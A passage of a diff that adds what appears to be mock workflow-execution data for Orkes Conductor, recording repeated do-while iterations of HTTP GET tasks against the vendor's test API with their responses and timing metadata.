rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 66, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__2", + retryCount: 0, + seq: 51, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413859632, + startTime: 1713413859695, + endTime: 1713413859706, + updateTime: 1713413859695, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "981223fb-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 154, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "obdruesgtvezidzuenhu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 63, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__3", + retryCount: 0, + seq: 56, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413859962, + startTime: 1713413860027, + endTime: 1713413860038, + updateTime: 1713413860027, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98447ea0-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9931, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ktrbhjusvnttizwmopxg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 65, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__4", + retryCount: 0, + seq: 61, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413860290, + startTime: 1713413860358, + endTime: 1713413860370, + updateTime: 1713413860358, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98768b25-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5254, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "fqlewtggkleyvghxoyqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 68, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__5", + retryCount: 0, + seq: 66, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413860624, + startTime: 1713413860692, + endTime: 1713413860703, + updateTime: 1713413860692, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98a9820a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2932, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "djokkjixbuwxlsstoaab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 68, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__8", + retryCount: 0, + seq: 77, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413861178, + startTime: 1713413861247, + endTime: 1713413861257, + updateTime: 1713413861247, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98fe0ab5-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5914, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "sccygcowawimarjtitnq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 69, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__9", + retryCount: 0, + seq: 82, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413861514, + startTime: 1713413861577, + endTime: 1713413861588, + updateTime: 1713413861577, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99314fba-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 395, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "myxiwwnhjbxhdwkfwmzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 63, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__10", + retryCount: 0, + seq: 87, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413861845, + startTime: 1713413861911, + endTime: 1713413861920, + updateTime: 1713413861911, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9963d16f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5175, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "enhhdgrjmtgntufhymzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 66, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_6: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__10", + retryCount: 0, + seq: 88, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413861927, + startTime: 1713413862022, + endTime: 1713413862033, + updateTime: 1713413862022, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99705490-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4750, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "oeenqbhrzifhhetyzpcu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__2", + retryCount: 0, + seq: 52, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413859717, + startTime: 1713413859806, + endTime: 1713413859816, + updateTime: 1713413859806, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "981f1c4c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1892, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "heqrbsinaexemndlvmcp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 89, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__3", + retryCount: 0, + seq: 57, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413860044, + startTime: 1713413860138, + endTime: 1713413860150, + updateTime: 1713413860138, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "985101c1-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3569, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "rbeetiujrcnurymrqpvl", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__4", + retryCount: 0, + seq: 62, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413860376, + startTime: 1713413860469, + endTime: 1713413860480, + updateTime: 1713413860469, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9883aa86-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7061, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "ixireilwipqxtseivuxm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__5", + retryCount: 0, + seq: 67, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413860709, + startTime: 1713413860803, + endTime: 1713413860813, + updateTime: 1713413860803, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98b67a5b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9316, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "dytnpkdddlzmtzlwfpal", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__8", + retryCount: 0, + seq: 78, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413861263, + startTime: 1713413861357, + endTime: 1713413861368, + updateTime: 1713413861357, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "990b0306-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2173, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "saxapbpahdmmtpavvjlm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__9", + retryCount: 0, + seq: 83, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413861594, + startTime: 1713413861688, + endTime: 1713413861698, + updateTime: 1713413861688, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "993d84bb-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2885, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ykuzzhmdpvfcragcwxoh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + 